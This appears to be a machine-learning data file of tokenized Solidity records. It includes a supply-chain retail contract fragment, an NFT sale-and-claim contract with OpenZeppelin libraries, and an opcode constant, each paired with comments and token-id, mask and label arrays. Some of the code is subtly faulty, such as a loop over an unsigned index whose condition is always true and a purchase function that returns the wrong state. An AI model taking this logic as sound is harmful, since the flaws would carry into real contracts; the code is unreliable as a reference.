function setForSaleByRetailer(uint _upc, uint _baleId, uint _retailPrice) public
onlyRetailer()
receivedByRetailer(_upc,_baleId)
verifyCaller(bales[_upc][_baleId].baleAddresses.retailerID)
returns (uint state, string memory stateStr, uint retailPrice)
{
//
// set retail price for each item
// Apply markup percentage to bale price and divide by number of retail products to get retail price of each retail product
//
uint retailId;
uint n = bales[_upc][_baleId].numRetailProducts;
retailPrice = _retailPrice;
//
// Update the appropriate fields on the retail items for this bale
//
for (uint i = 0; i<n; i++) {
retailId = retailItemsForBale[_upc][_baleId][i].retailId;
retailItems[_upc][_baleId][retailId].retailPrice = retailPrice;
retailItems[_upc][_baleId][retailId].itemState = State.ForSaleByRetailer;
// Emit the appropriate event
emit ForSaleByRetailer(_upc,_baleId,retailId, retailPrice);
}
bales[_upc][_baleId].itemState = State.ForSaleByRetailer;
stateStr = getStateString(State.ForSaleByRetailer);
return (uint(State.ForSaleByRetailer), stateStr, retailPrice);
}
//
// Define a function 'purchaseRetailItem' that allows the consumer to mark an item 'PurchasedByConsumer'
// NOTE: We use function versions of modifiers to avoid stack too deep error
//
function purchaseItem(uint _upc, uint _baleId, uint _retailId) public payable
onlyConsumer()
returns (uint state, string memory stateStr)
{
//
// modifier function checks
//
forSaleByRetailerFunc(_upc,_baleId,_retailId);
paidEnoughFunc(retailItems[_upc][_baleId][_retailId].retailPrice);
checkRetailerValueFunc(_upc,_baleId,_retailId);
// Update the appropriate fields - ownerID, retailerID, itemState
retailItems[_upc][_baleId][_retailId].ownerID = msg.sender;
retailItems[_upc][_baleId][_retailId].consumerID = msg.sender;
retailItems[_upc][_baleId][_retailId].itemState = State.PurchasedByConsumer;
// Transfer money to retailer
bales[_upc][_baleId].baleAddresses.retailerID.transfer(retailItems[_upc][_baleId][_retailId].retailPrice);
// emit the appropriate event
emit PurchasedByConsumer(_upc,_baleId,_retailId);
stateStr = getStateString(State.ForSaleByRetailer);
return (uint(State.ForSaleByRetailer), stateStr);
}
//////////
}
| Number of retail products created for this bale (eg 10)
| uint numRetailProducts; | 7,238,338 | [
1,
1854,
434,
325,
671,
10406,
2522,
364,
333,
324,
5349,
261,
1332,
1728,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
565,
818,
54,
1641,
13344,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { MerkleProof } from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @notice Represents NFT Smart Contract
*/
contract IBoredDogeClubERC721 {
/**
* @dev ERC-721 INTERFACE
*/
function ownerOf(uint256 tokenId) public view virtual returns (address) {}
/**
* @dev CUSTOM INTERFACE
*/
function mintTo(uint256 amount, address _to) external {}
function getNextTokenId() external view returns(uint256) {}
function exists(uint256 tokenId) external view returns(bool) {}
}
/**
* @title BoredDogeClubSaleContract.
*
* @notice This Smart Contract can be used to sell a fixed amount of NFTs where some of them are
* sold to permissioned wallets and the others are sold to the general public.
*
* @dev The primary mode of verifying permissioned actions is through Merkle Proofs
* which are generated off-chain.
*/
contract BoredDogeClubSaleContract is Ownable {
/**
* @notice The Smart Contract of the NFT being sold
* @dev ERC-721 Smart Contract
*/
IBoredDogeClubERC721 public immutable boredDoge;
/**
* @dev Mutant Doge Address
*/
address public MutantDoge;
/**
* @dev MINT DATA
*/
uint256 public totalSupply = 5000;
uint256 public maxSupplyPermissioned = 5000;
uint256 public mintedPermissioned = 0;
uint256 public mintedOpen = 0;
uint256 public limitOpen = 5;
uint256 public pricePermissioned = 0.1 ether;
uint256 public priceOpen = 0.1 ether;
uint256 public startPermissioned = 1645632000;
uint256 public durationPermissioned = 365 days;
bool public isStartedOpen;
mapping(address => mapping(uint256 => uint256)) public addressToMints;
/**
* @dev MERKLE ROOTS
*
* @dev Initial value is randomly generated from https://www.random.org/
*/
bytes32 public merkleRoot = "";
/**
* @dev DEVELOPER
*/
address public immutable devAddress;
uint256 public immutable devShare;
/**
* @dev Claiming
*/
uint256 public claimStart = 1645804800;
mapping(uint256 => uint256) public hasDogeClaimed; // 0 = false | 1 = true
mapping(uint256 => uint256) public dogeToTransferMethod; // 0 = none | 1 = minted | 2 = claimed
/**
* @dev Events
*/
event ReceivedEther(address indexed sender, uint256 indexed amount);
event Purchase(address indexed buyer, uint256 indexed amount, bool indexed permissioned);
event setTotalSupplyEvent(uint256 indexed maxSupply);
event setMaxSupplyPermissionedEvent(uint256 indexed maxSupply);
event setLimitOpenEvent(uint256 indexed limit);
event setPricePermissionedEvent(uint256 indexed price);
event setPriceOpenEvent(uint256 indexed price);
event setStartTimePermissionedEvent(uint256 indexed startTime);
event setDurationPermissionedEvent(uint256 indexed duration);
event setIsStartedOpenEvent(bool indexed isStarted);
event setMerkleRootEvent(bytes32 indexed merkleRoot);
event WithdrawAllEvent(address indexed to, uint256 amount);
event Claim(address indexed claimer, uint256 indexed amount);
event setClaimStartEvent(uint256 indexed time);
event setMutantDogeAddressEvent(address indexed mutant);
constructor(
address _boredDogeAddress
) Ownable() {
boredDoge = IBoredDogeClubERC721(_boredDogeAddress);
devAddress = 0x841d534CAa0993c677f21abd8D96F5d7A584ad81;
devShare = 1;
}
/**
* @dev SALE
*/
/**
* @dev Returns the leftovers from raffle mint
* regarding the total supply.
*/
function maxSupplyOpen() public view returns(uint256) {
return totalSupply - mintedPermissioned;
}
/**
* @notice Function to buy one or more NFTs.
* @dev First the Merkle Proof is verified.
* Then the mint is verified with the data embedded in the Merkle Proof.
* Finally the NFTs are minted to the user's wallet.
*
* @param amount. The amount of NFTs to buy.
* @param mintMaxAmount. The max amount the user can mint.
* @param proof. The Merkle Proof of the user.
*/
function buyPermissioned(uint256 amount, uint256 mintMaxAmount, bytes32[] calldata proof)
external
payable {
/// @dev Verifies Merkle Proof submitted by user.
/// @dev All mint data is embedded in the merkle proof.
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, mintMaxAmount));
require(MerkleProof.verify(proof, merkleRoot, leaf), "INVALID PROOF");
/// @dev Verifies that user can perform permissioned mint based on the provided parameters.
require(address(boredDoge) != address(0), "NFT SMART CONTRACT NOT SET");
require(merkleRoot != "" && !isStartedOpen, "PERMISSIONED SALE CLOSED");
require(amount > 0, "HAVE TO BUY AT LEAST 1");
require(addressToMints[msg.sender][1] + amount <= mintMaxAmount, "MINT AMOUNT EXCEEDS MAX FOR USER");
require(mintedPermissioned + amount <= maxSupplyPermissioned, "MINT AMOUNT GOES OVER MAX SUPPLY");
require(msg.value >= pricePermissioned * amount, "ETHER SENT NOT CORRECT");
require(block.timestamp < startPermissioned + durationPermissioned, "PERMISSIONED SALE IS CLOSED");
require(block.timestamp >= startPermissioned, "PERMISSIONED SALE HASN'T STARTED YET");
/// @dev Updates contract variables and mints `amount` NFTs to users wallet
mintedPermissioned += amount;
addressToMints[msg.sender][1] += amount;
/// @dev Register that these Doges were minted
dogeToTransferMethod[boredDoge.getNextTokenId()] = 1;
boredDoge.mintTo(amount, msg.sender);
emit Purchase(msg.sender, amount, true);
}
/**
* @notice Function to buy one or more NFTs.
*
* @param amount. The amount of NFTs to buy.
*/
function buyOpen(uint256 amount)
external
payable {
/// @dev Verifies that user can perform open mint based on the provided parameters.
require(address(boredDoge) != address(0), "NFT SMART CONTRACT NOT SET");
require(isStartedOpen, "OPEN SALE CLOSED");
require(amount > 0, "HAVE TO BUY AT LEAST 1");
require(addressToMints[msg.sender][2] + amount <= limitOpen, "MINT AMOUNT EXCEEDS MAX FOR USER");
require(mintedOpen + amount <= maxSupplyOpen(), "MINT AMOUNT GOES OVER MAX SUPPLY");
require(msg.value >= priceOpen * amount, "ETHER SENT NOT CORRECT");
/// @dev Updates contract variables and mints `amount` NFTs to users wallet
mintedOpen += amount;
addressToMints[msg.sender][2] += amount;
/// @dev Register that these Doges were minted
dogeToTransferMethod[boredDoge.getNextTokenId()] = 1;
boredDoge.mintTo(amount, msg.sender);
emit Purchase(msg.sender, amount, false);
}
/**
* @dev CLAIMING
*/
/**
* @dev Method to check if a doge was minted or claimed.
* Method starts at dogeId and traverses lastDogeTransferStatus
* mapping until it finds a non zero status. If the status is 1
* the doge was minted. Otherwise it was claimed. A value will always
* be found as each mint or claim updates the mapping.
*
* @param dogeId. The id of the doge to query
*/
function wasDogeMinted(uint256 dogeId) internal view returns(bool) {
if (!boredDoge.exists(dogeId))
return false;
uint lastDogeTransferStatus;
for (uint i = dogeId; i >= 0; i--) {
if (dogeToTransferMethod[i] != 0) {
lastDogeTransferStatus = dogeToTransferMethod[i];
break;
}
}
return lastDogeTransferStatus == 1;
}
/**
* @notice Claim Bored Doge by providing your Bored Doge Ids
* @dev Mints amount of Bored Doges to sender as valid Bored Doge bought
* provided. Validity depends on ownership, not having claimed yet and
* whether the doges were minted.
*
* @param doges. The tokenIds of the doges.
*/
function claimDoges(uint256[] calldata doges) external {
require(address(boredDoge) != address(0), "DOGES NFT NOT SET");
require(doges.length > 0, "NO IDS SUPPLIED");
require(block.timestamp >= claimStart, "CANNOT CLAIM YET");
/// @dev Check if sender is owner of all DOGEs and that they haven't claimed yet
/// @dev Update claim status of each DOGE
for (uint256 i = 0; i < doges.length; i++) {
uint256 DOGEId = doges[i];
require(IERC721( address(boredDoge) ).ownerOf(DOGEId) == msg.sender, "NOT OWNER OF DOGE");
require(hasDogeClaimed[DOGEId] == 0, "DOGE HAS ALREADY CLAIMED DOGE");
require(wasDogeMinted(DOGEId), "DOGE WAS NOT MINTED");
hasDogeClaimed[DOGEId] = 1;
}
/// @dev Register that these Doges were claimed
dogeToTransferMethod[boredDoge.getNextTokenId()] = 2;
boredDoge.mintTo(doges.length, msg.sender);
emit Claim(msg.sender, doges.length);
}
/**
* @notice View which of your Bored Doges can still their Bored Doges
* @dev Given an array of Bored Doges ids returns a subset of ids that
* can still claim a Bored Doge. Used off chain to provide input of Bored Doges method.
*
* @param doges. The tokenIds of the doges.
*/
function getStillClaimableDogesFromIds(uint256[] calldata doges) external view returns (uint256[] memory) {
require(doges.length > 0, "NO IDS SUPPLIED");
uint256 length = doges.length;
uint256[] memory notClaimedDoges = new uint256[](length);
uint256 counter;
/// @dev Check if sender is owner of all doges and that they haven't claimed yet
/// @dev Update claim status of each doge
for (uint256 i = 0; i < doges.length; i++) {
uint256 dogeId = doges[i];
if (hasDogeClaimed[dogeId] == 0 && wasDogeMinted(dogeId)) {
notClaimedDoges[counter] = dogeId;
counter++;
}
}
return notClaimedDoges;
}
/**
* @dev OWNER ONLY
*/
/**
* @notice Change the maximum supply of NFTs that are for sale in permissioned sale.
*
* @param newMaxSupply. The new max supply.
*/
function setMaxSupplyPermissioned(uint256 newMaxSupply) external onlyOwner {
maxSupplyPermissioned = newMaxSupply;
emit setMaxSupplyPermissionedEvent(newMaxSupply);
}
/**
* @notice Change the total supply of NFTs that are for sale.
*
* @param newTotalSupply. The new total supply.
*/
function setTotalSupply(uint256 newTotalSupply) external onlyOwner {
totalSupply = newTotalSupply;
emit setTotalSupplyEvent(newTotalSupply);
}
/**
* @notice Change the limit of NFTs per wallet in open sale.
*
* @param newLimitOpen. The new max supply.
*/
function setLimitOpen(uint256 newLimitOpen) external onlyOwner {
limitOpen = newLimitOpen;
emit setLimitOpenEvent(newLimitOpen);
}
/**
* @notice Change the price of NFTs that are for sale in open sale.
*
* @param newPricePermissioned. The new max supply.
*/
function setPricePermissioned(uint256 newPricePermissioned) external onlyOwner {
pricePermissioned = newPricePermissioned;
emit setPriceOpenEvent(newPricePermissioned);
}
/**
* @notice Change the price of NFTs that are for sale in open sale.
*
* @param newPriceOpen. The new max supply.
*/
function setPriceOpen(uint256 newPriceOpen) external onlyOwner {
priceOpen = newPriceOpen;
emit setPriceOpenEvent(newPriceOpen);
}
/**
* @notice Change the startTime of the permissioned sale.
*
* @param startTime. The new start time.
*/
function setStartTimePermissioned(uint256 startTime) external onlyOwner {
startPermissioned = startTime;
emit setStartTimePermissionedEvent(startTime);
}
/**
* @notice Change the duration of the permissioned sale.
*
* @param duration. The new duration.
*/
function setDurationPermissioned(uint256 duration) external onlyOwner {
durationPermissioned = duration;
emit setDurationPermissionedEvent(duration);
}
/**
* @notice Change the startTime of the open sale.
*
* @param newIsStarted. The new public sale status.
*/
function setIsStartedOpen(bool newIsStarted) external onlyOwner {
isStartedOpen = newIsStarted;
emit setIsStartedOpenEvent(newIsStarted);
}
/**
* @notice Change the merkleRoot of the sale.
*
* @param newRoot. The new merkleRoot.
*/
function setMerkleRoot(bytes32 newRoot) external onlyOwner {
merkleRoot = newRoot;
emit setMerkleRootEvent(newRoot);
}
/**
* @dev Set's the new start time for claiming
*
* @param newClaimStart. The new claim start time.
*/
function setClaimStart(uint256 newClaimStart) external onlyOwner {
claimStart = newClaimStart;
emit setClaimStartEvent(newClaimStart);
}
/**
* @dev Set's the address for the future mutant doge collection
*
* @param _mutant. The address of mutant doge
*/
function setMutantDogeAddress(address _mutant) external onlyOwner {
MutantDoge = _mutant;
emit setMutantDogeAddressEvent(_mutant);
}
/**
* @dev FINANCE
*/
/**
* @notice Allows owner to withdraw funds generated from sale.
*
* @param _to. The address to send the funds to.
*/
function withdrawAll(address _to) external onlyOwner {
require(_to != address(0), "CANNOT WITHDRAW TO ZERO ADDRESS");
uint256 contractBalance = address(this).balance;
require(contractBalance > 0, "NO ETHER TO WITHDRAW");
uint256 developerCut = contractBalance * devShare / 100;
uint remaining = contractBalance - developerCut;
payable(devAddress).transfer(developerCut);
payable(_to).transfer(remaining);
emit WithdrawAllEvent(_to, remaining);
}
/**
* @dev Fallback function for receiving Ether
*/
receive() external payable {
emit ReceivedEther(msg.sender, msg.value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | * @dev Fallback function for receiving Ether/ | receive() external payable {
emit ReceivedEther(msg.sender, msg.value);
}
| 239,187 | [
1,
12355,
445,
364,
15847,
512,
1136,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
6798,
1435,
3903,
8843,
429,
288,
203,
3639,
3626,
21066,
41,
1136,
12,
3576,
18,
15330,
16,
1234,
18,
1132,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/44787/0x31aa5951100e11b8A34Bc9D98a44De152Dc5d3a2/sources/contracts/vm/ops/tier/TierOps.sol | @dev Opcode to stack a report that has always been held for all tiers. | uint256 constant OPCODE_ALWAYS = 2;
| 13,256,003 | [
1,
22808,
358,
2110,
279,
2605,
716,
711,
3712,
2118,
15770,
364,
777,
11374,
414,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
